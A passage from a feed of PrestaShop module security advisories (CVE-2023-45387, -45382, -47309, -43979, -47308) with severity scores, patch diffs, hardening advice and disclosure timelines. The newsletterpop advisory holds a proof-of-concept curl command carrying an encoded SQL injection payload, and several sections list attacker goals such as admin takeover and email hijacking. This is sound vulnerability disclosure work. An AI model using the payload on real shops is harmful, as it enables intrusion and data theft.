<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.1.1/modules/exportproducts/export.php
</span><span class="gi">+++ XXXXX/modules/exportproducts/export.php
</span><span class="err">...</span>
      if( Tools::getValue('id_task') ){
<span class="gd">-       $data['id_task'] = Tools::getValue('id_task');
</span><span class="gi">+       $data['id_task'] = (int) Tools::getValue('id_task');
</span>      }
      else{
        $data['id_task'] = 0;
      }

      // Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;insert('exportproducts_data', $data);

      $this-&gt;_insertValues .= '("'.$data['row'].'","'.$data['field'].'","'.$data['value'].'","'.$data['id_task'].'"),';
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>You should consider restricting the access of modules/exportproducts/upload/ to a whitelist</li>
  <li>It’s recommended to upgrade to the latest version of the module <strong>exportproducts</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-28</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-28</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-06-09</td>
      <td>PrestaShop Addons confirms versions scopes</td>
    </tr>
    <tr>
      <td>2023-06-14</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-10-08</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-12</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-16</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/18662-product-catalog-csv-excel-xml-export-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45387">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Catalog (CSV, Excel, XML) Export PRO” (exportproducts) in versions up to 5.0.0 from MyPrestaModules for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-45382] Improper Limitation of a Pathname to a Restricted Directory in Common-Services - SoNice Retour module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/16/sonice_retour.html" rel="alternate" type="text/html" title="[CVE-2023-45382] Improper Limitation of a Pathname to a Restricted Directory in Common-Services - SoNice Retour module for PrestaShop" /><published>2023-11-16T00:00:00+00:00</published><updated>2023-11-16T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/16/sonice_retour</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/16/sonice_retour.html"><![CDATA[<p>In the module “SoNice Retour” (sonice_retour) up to version 2.1.0 from Common-Services for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45382">CVE-2023-45382</a></li>
  <li><strong>Published at</strong>: 2023-11-16</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: sonice_retour</li>
  <li><strong>Impacted release</strong>: &lt;= 2.1.0 (2.2.20 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Common-Services</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control and a lack of control in the path name construction, a guest can perform a path traversal to view all files on the information system.</p>

<p>Note : We are forced to tag it as a high gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds of admin’s ajax scripts of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a></p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin/Adminer/etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="patch-from-210">Patch from 2.1.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.1.0/modules/sonice_retour/functions/downloadLabel.php
</span><span class="gi">+++ XXXXX/modules/sonice_retour/functions/downloadLabel.php
</span>    public function action()
    {
<span class="gd">-       $file = $_REQUEST['file'];
</span><span class="gi">+       $file = basename($_REQUEST['file']);
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>sonice_retour</strong>.</li>
  <li>You should consider restricting the access of modules/sonice_retour/ to a whitelist</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Q3 2022</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>Q3 2022</td>
      <td>Ask developpers concerned to report it to author</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-31</td>
      <td>Author provide a patch that fix the leak</td>
    </tr>
    <tr>
      <td>2023-10-12</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-16</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://common-services.com/fr/home-fr/">Author website</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45382">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “SoNice Retour” (sonice_retour) up to version 2.1.0 from Common-Services for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2023-47309] Improper Neutralization of Input During Web Page Generation in Nukium - NKM GLS module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/14/nkmgls.html" rel="alternate" type="text/html" title="[CVE-2023-47309] Improper Neutralization of Input During Web Page Generation in Nukium - NKM GLS module for PrestaShop" /><published>2023-11-14T00:00:00+00:00</published><updated>2023-11-14T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/14/nkmgls</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/14/nkmgls.html"><![CDATA[<p>In the module “NKM GLS” (nkmgls) up to version 3.0.1 from Nukium for PrestaShop, a guest (authenticated customer) can perform XSS injection of type 2 (stored XSS) from FRONT to BACK (F2B) of Category 2 within the funnel order in affected versions.</p>

<p>Note : To succeed in this exploit, the red team needs to pay to convert a cart into a valid order with GLS carrier and require the administrator of the PS to check a specific screen within its backoffice.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-47309">CVE-2023-47309</a></li>
  <li><strong>Published at</strong>: 2023-11-14</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: nkmgls</li>
  <li><strong>Impacted release</strong>: &lt;= 3.0.1 (3.0.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Nukium</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li>
  <li><strong>Severity</strong>: critical (9.0)</li>
</ul>

<h2 id="description">Description</h2>

<p>As all <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">XSS type 2 (Stored XSS) F2B (Front to Back)</a>, there are two steps and a prerequisite.</p>

<p>Prerequisite :</p>
<ul>
  <li>The field <code class="language-plaintext highlighter-rouge">phone_mobile</code> within table gls_cart_carrier suffers from a type varchar(255) which is large enough to allow dangerous XSS payloads.</li>
</ul>

<p>Steps :</p>
<ul>
  <li>The method <code class="language-plaintext highlighter-rouge">NkmGlsCheckoutModuleFrontController::displayAjaxSavePhoneMobile</code> does not properly clean the parameter <code class="language-plaintext highlighter-rouge">gls_customer_mobile</code>. pSQL is useless against XSS which exploits HTML tag attributes (Category 2 according to OWASP - pSQL only neutralized Category 1 thanks to its strip_tags).</li>
  <li>The output in the backoffice is not escaped in the related smarty template that uses it.</li>
</ul>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Unlock design critical vulnerabilities, <a href="https://friends-of-presta.github.io/security-advisories/modules/2023/02/07/stored-xss.html">see this</a>.</li>
</ul>

<h2 id="patch-from-302">Patch from 3.0.2</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/controllers/front/checkout.php
</span><span class="gi">+++ b/controllers/front/checkout.php
</span><span class="p">@@ -47,2 +47,7 @@</span> class NkmGlsCheckoutModuleFrontController extends ModuleFrontController
         $phone_mobile = Tools::getValue('gls_customer_mobile');
<span class="gi">+        if (!Validate::isPhoneNumber($phone_mobile)) {
+            $return['message'] = 'Please fill-in a valid mobile number (e.g. +XXXXXXXXXXX or 0XXXXXXXXX).';
+            header('Content-Type: application/json');
+            $this-&gt;ajaxDie(json_encode($return));
+        }
</span>         $id_carrier = Tools::getValue('id_carrier');
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/views/templates/admin/gls_label/label_list.tpl
</span><span class="gi">+++ b/views/templates/admin/gls_label/label_list.tpl
</span><span class="p">@@ -209,3 +209,3 @@</span>
                                                     &lt;div&gt;
<span class="gd">-                                                        &lt;input class="form-control" type="tel" name="mobile" value="{if !empty($tr.customer_phone_mobile)}{$tr.customer_phone_mobile}{else}{$tr.customer_phone}{/if}" required="required" /&gt;
</span><span class="gi">+                                                        &lt;input class="form-control" type="tel" name="mobile" value="{if !empty($tr.customer_phone_mobile)}{$tr.customer_phone_mobile|escape:'html':'UTF-8'}{else}{$tr.customer_phone|escape:'html':'UTF-8'}{/if}" required="required" /&gt;
</span>                                                     &lt;/div&gt;
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>nkmgls</strong>.</li>
  <li>Systematically escape characters ‘ “ &lt; and &gt; by replacing them with HTML entities and applying strip_tags - Smarty and Twig provide auto-escape filters :
    <ul>
      <li>Smarty: <code class="language-plaintext highlighter-rouge">{$value.comment|escape:'html':'UTF-8'}</code></li>
      <li>Twig:<code class="language-plaintext highlighter-rouge">{{value.comment|e}}</code></li>
    </ul>
  </li>
  <li>Limit to the strict minimum the length’s value in database - a database field that allow 10 characters (<code class="language-plaintext highlighter-rouge">varchar(10)</code>) is far less dangerous than a field that allows 40+ characters (use cases that can exploit fragmented XSS payloads are very rare)</li>
  <li>Configure CSP headers (content security policies) by listing external domains allowed to load assets (such as js files) or being called in XHR transactions (Ajax).</li>
  <li>If applicable: check against all your frontoffice’s uploaders, uploading files that will be served by your server that mime type application/javascript (like every .js natively) must be strictly forbidden as it must be considered as dangerous as PHP files.</li>
  <li>Activate OWASP 941’s rules on your WAF (Web application firewall) - be warned that you will probably break your frontoffice/backoffice and you will need to preconfigure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-24</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-24</td>
      <td>Contact the author who will provide a patch within 4 hours</td>
    </tr>
    <tr>
      <td>2023-02-24</td>
      <td>V3.0.2 available on https://store.nukium.com/ and https://addons.prestashop.com/</td>
    </tr>
    <tr>
      <td>2023-03-10</td>
      <td>Recontact author about the publication of the vulnerability</td>
    </tr>
    <tr>
      <td>2023-03-12</td>
      <td>Author completes the diff of this present CVE and asks for a delay to publish</td>
    </tr>
    <tr>
      <td>2023-05-05</td>
      <td>Recontact author about the publication of the vulnerability</td>
    </tr>
    <tr>
      <td>2023-05-17</td>
      <td>Author ask for another delay before publication</td>
    </tr>
    <tr>
      <td>2023-07-15</td>
      <td>Recontact author about the publication of the vulnerability</td>
    </tr>
    <tr>
      <td>2023-09-17</td>
      <td>Recontact author about the publication of the vulnerability</td>
    </tr>
    <tr>
      <td>2023-09-30</td>
      <td>Recontact author about the publication of the vulnerability</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>Inform the author about the publication of the vulnerability</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-08</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-14</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://store.nukium.com/fr/modules-prestashop/16-gls-officiel.html">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/preparation-shipping/32483-gls-france-official.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-47309">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “NKM GLS” (nkmgls) up to version 3.0.1 from Nukium for PrestaShop, a guest (authenticated customer) can perform XSS injection of type 2 (stored XSS) from FRONT to BACK (F2B) of Category 2 within the funnel order in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-43979] Improper neutralization of SQL parameter in PrestaHero (ETS Soft) - BLOG - Drive High Traffic &amp;amp; Boost SEO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/14/ybc_blog.html" rel="alternate" type="text/html" title="[CVE-2023-43979] Improper neutralization of SQL parameter in PrestaHero (ETS Soft) - BLOG - Drive High Traffic &amp;amp; Boost SEO module for PrestaShop" /><published>2023-11-14T00:00:00+00:00</published><updated>2023-11-14T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/14/ybc_blog</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/14/ybc_blog.html"><![CDATA[<p>In the module “BLOG - Drive High Traffic &amp; Boost SEO” (ybc_blog) in version up to 3.3.8 from PrestaHero (ETS Soft) for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43979">CVE-2023-43979</a></li>
  <li><strong>Published at</strong>: 2023-11-14</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ybc_blog</li>
  <li><strong>Impacted release</strong>: &lt;= 3.3.8 (4.4.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: PrestaHero (ETS Soft)</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">Ybc_blogBlogModuleFrontController::getPosts()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p>Reminder : Core method <code class="language-plaintext highlighter-rouge">Validate::isCleanHtml()</code> is useless against <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a>, it only targets <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-338">Patch from 3.3.8</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.3.8/modules/ybc_blog/controllers/front/blog.php
</span><span class="gi">+++ 4.4.0/modules/ybc_blog/controllers/front/blog.php
</span><span class="err">...</span>
        } elseif (($tag = trim(Tools::getValue('tag'))) != '' &amp;&amp; Validate::isCleanHtml($tag)) {
            if ($this-&gt;module-&gt;friendly &amp;&amp; Tools::strpos($_SERVER['REQUEST_URI'], 'tag') !== false &amp;&amp; Tools::strpos($_SERVER['REQUEST_URI'], 'ybc_blog') !== false)
                $this-&gt;module-&gt;redirect($this-&gt;module-&gt;getLink('blog', array('tag' =&gt; $tag)));
            $md5tag = md5(urldecode(trim(Tools::strtolower($tag))));
<span class="gd">-           $filter .= " AND p.id_post IN (SELECT id_post FROM `" . _DB_PREFIX_ . "ybc_blog_tag` WHERE tag = '$tag' AND id_lang = " . $this-&gt;context-&gt;language-&gt;id . ")";
</span><span class="gi">+           $filter .= " AND p.id_post IN (SELECT id_post FROM `" . _DB_PREFIX_ . "ybc_blog_tag` WHERE tag = '" . pSQL($tag) . "' AND id_lang = " . $this-&gt;context-&gt;language-&gt;id . ")";
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>ybc_blog</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-21</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-21</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-05-22</td>
      <td>PrestaShop Addons security Team confirm version scope</td>
    </tr>
    <tr>
      <td>2023-09-21</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-27</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-14</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/blog-forum-new/25908-blog-drive-high-traffic-boost-seo.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-43979">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “BLOG - Drive High Traffic &amp; Boost SEO” (ybc_blog) in version up to 3.3.8 from PrestaHero (ETS Soft) for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-47308] Improper neutralization of SQL parameter in Active Design - Newsletter Popup PRO with Voucher/Coupon code module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/09/newsletterpop.html" rel="alternate" type="text/html" title="[CVE-2023-47308] Improper neutralization of SQL parameter in Active Design - Newsletter Popup PRO with Voucher/Coupon code module for PrestaShop" /><published>2023-11-09T00:00:00+00:00</published><updated>2023-11-09T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/09/newsletterpop</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/09/newsletterpop.html"><![CDATA[<p>In the module “Newsletter Popup PRO with Voucher/Coupon code” (newsletterpop) up to version 2.6.0 from Active Design for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-47308">CVE-2023-47308</a></li>
  <li><strong>Published at</strong>: 2023-11-09</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: newsletterpop</li>
  <li><strong>Impacted release</strong>: &gt;= 2.3.1 &amp; &lt;= 2.4.53 / &gt;= 2.5.2 &amp; &lt;= 2.6.0 (2.6.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Active Design</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">NewsletterpopsendVerificationModuleFrontController::checkEmailSubscription()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-d</span> <span class="s1">'fc=modulemodule=newsletterpop&amp;controller=sendVerification&amp;action=checkEmailSubscription&amp;email=%22;select+0x73656C65637420736C656570283432293B+into+@a;prepare+b+from+@a;execute+b;--'</span> <span class="s1">'https://preprod.X'</span>
</code></pre></div></div>

<h2 id="patch-from-252">Patch from 2.5.2</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.5.2/modules/newsletterpop/controllers/front/sendVerification.php
</span><span class="gi">+++ 2.6.1/modules/newsletterpop/controllers/front/sendVerification.php
</span><span class="err">...</span>
    public function checkEmailSubscription($email)
    {
        $response = array();
        $module = Module::getInstanceByName('newsletterpop');

        if (Tools::substr(_PS_VERSION_, 0, 3) !== '1.7') {
<span class="gd">-           $emailNewsletter = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getValue('SELECT `email` FROM `'._DB_PREFIX_.'newsletter` WHERE `email`="'.$email.'"');
</span><span class="gi">+           $emailNewsletter = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getValue('SELECT `email` FROM `'._DB_PREFIX_.'newsletter` WHERE `email`="'.pSQL($email).'"');
</span><span class="gd">-           $emailNewsletterPop = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getValue('SELECT `email` FROM `'._DB_PREFIX_.'newsletterpop` WHERE `email`="'.$email.'"');
</span><span class="gi">+           $emailNewsletterPop = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getValue('SELECT `email` FROM `'._DB_PREFIX_.'newsletterpop` WHERE `email`="'.pSQL($email).'"');
</span>        } else {
<span class="gd">-           $emailNewsletter = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getValue('SELECT `email` FROM `'._DB_PREFIX_.'emailsubscription` WHERE `email`="'.$email.'"');
</span><span class="gi">+           $emailNewsletter = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getValue('SELECT `email` FROM `'._DB_PREFIX_.'emailsubscription` WHERE `email`="'.pSQL($email).'"');
</span><span class="gd">-           $emailNewsletterPop = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getValue('SELECT `email` FROM `'._DB_PREFIX_.'newsletterpop` WHERE `email`="'.$email.'"');
